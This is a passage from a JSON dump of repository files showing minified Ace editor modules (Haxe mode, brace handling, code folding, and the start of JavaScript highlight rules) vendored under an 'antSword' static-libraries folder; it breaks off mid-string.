    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/haxe_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"break|case|cast|catch|class|continue|default|else|enum|extends|for|function|if|implements|import|in|inline|interface|new|override|package|private|public|return|static|super|switch|this|throw|trace|try|typedef|untyped|var|while|Array|Void|Bool|Int|UInt|Float|Dynamic|String|List|Hash|IntHash|Error|Unknown|Type|Std\",t=\"null|true|false\",n=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:n,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({<]\"},{token:\"paren.rparen\",regex:\"[\\\\])}>]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.HaxeHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/haxe\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/haxe_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./haxe_highlight_rules\").HaxeHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/haxe\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-html.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, 